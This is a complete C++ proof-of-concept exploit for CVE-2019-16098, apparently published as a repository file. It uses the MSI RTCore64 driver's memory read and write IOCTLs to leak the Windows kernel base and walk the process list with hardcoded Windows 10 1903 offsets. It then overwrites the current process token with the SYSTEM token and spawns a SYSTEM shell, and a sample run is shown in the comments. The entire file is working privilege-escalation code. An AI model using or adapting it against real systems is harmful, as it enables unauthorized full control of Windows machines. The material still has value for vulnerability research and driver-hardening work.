README.md
Rendering markdown...
// WARNING: Hardcoded Windows 10 x64 Version 1903 offsets!
// Microsoft Windows [Version 10.0.18362.295]
// (c) 2019 Microsoft Corporation. All rights reserved.
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>whoami
// Barakat
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>out\build\x64-Debug\CVE-2019-16098.exe
// [*] Device object handle has been obtained
// [*] Ntoskrnl base address: FFFFF80734200000
// [*] PsInitialSystemProcess address: FFFFC288A607F300
// [*] System process token: FFFF9703A9E061B0
// [*] Current process address: FFFFC288B7959400
// [*] Current process token: FFFF9703B9D785F0
// [*] Stealing System process token ...
// [*] Spawning new shell ...
// Microsoft Windows [Version 10.0.18362.295]
// (c) 2019 Microsoft Corporation. All rights reserved.
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>whoami
// SYSTEM
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>
#include <Windows.h>
#include <cstdio>
struct RTCORE64_MSR_READ
{
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
struct RTCORE64_MEMORY_READ
{
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
struct RTCORE64_MEMORY_WRITE
{
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
void
Log(const char* Message, ...)
{
const auto file = stderr;
va_list Args;
va_start(Args, Message);
std::vfprintf(file, Message, Args);
std::fputc('\n', file);
va_end(Args);
}
DWORD
ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address)
{
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
return MemoryRead.Value;
}
void
WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value)
{
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
}
WORD
ReadMemoryWORD(HANDLE Device, DWORD64 Address)
{
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD
ReadMemoryDWORD(HANDLE Device, DWORD64 Address)
{
return ReadMemoryPrimitive(Device, 4, Address);
}
DWORD64
ReadMemoryDWORD64(HANDLE Device, DWORD64 Address)
{
return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void
WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value)
{
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
int main()
{
const auto Device = CreateFileW(LR"(\\.\RTCore64)",
GENERIC_READ | GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (Device == INVALID_HANDLE_VALUE)
{
Log("[!] Unable to obtain a handle to the device object");
return -1;
}
Log("[*] Device object handle has been obtained");
// Leaking Ntoskrnl.exe base address
RTCORE64_MSR_READ MsrRead{};
MsrRead.Register = 0xc0000082;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MSR_READ_CODE,
&MsrRead,
sizeof(MsrRead),
&MsrRead,
sizeof(MsrRead),
&BytesReturned,
nullptr);
auto PageWithinNtoskrnl = (MsrRead.ValueLow & 0xfffff000) | (static_cast<DWORD64>(MsrRead.ValueHigh) << 32);
for (;;)
{
if (ReadMemoryWORD(Device, PageWithinNtoskrnl) == 0x5a4d)
{
break;
}
PageWithinNtoskrnl -= 0x1000;
}
const auto NtoskrnlBaseAddress = PageWithinNtoskrnl;
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
// Locating PsInitialSystemProcess address
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(
GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device,
NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
// Windows 10 (x64) Version 1903
const DWORD64 UniqueProcessIdOffset = 0x02e8;
const DWORD64 ActiveProcessLinksOffset = 0x02f0;
const DWORD64 TokenOffset = 0x0360;
// Get token value of System process
const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + TokenOffset) & ~15;
Log("[*] System process token: %p", SystemProcessToken);
// Find our process in active process list
const DWORD64 CurrentProcessId = static_cast<DWORD64>(GetCurrentProcessId());
DWORD64 ProcessHead = PsInitialSystemProcessAddress + ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do
{
const DWORD64 ProcessAddress = CurrentProcessAddress - ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + UniqueProcessIdOffset);
if (UniqueProcessId == CurrentProcessId)
{
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + ActiveProcessLinksOffset);
}
while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);
// Reading current process token
const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset);
const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;
const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;
Log("[*] Current process token: %p", CurrentProcessToken);
// Stealing System process token
Log("[*] Stealing System process token ...");
WriteMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset,
CurrentProcessTokenReferenceCounter | SystemProcessToken);
// Cleanup
CloseHandle(Device);
// Spawn a new shell
Log("[*] Spawning new shell ...");
STARTUPINFOW StartupInfo{};
StartupInfo.cb = sizeof(StartupInfo);
PROCESS_INFORMATION ProcessInformation;
CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",
nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
&StartupInfo,
&ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}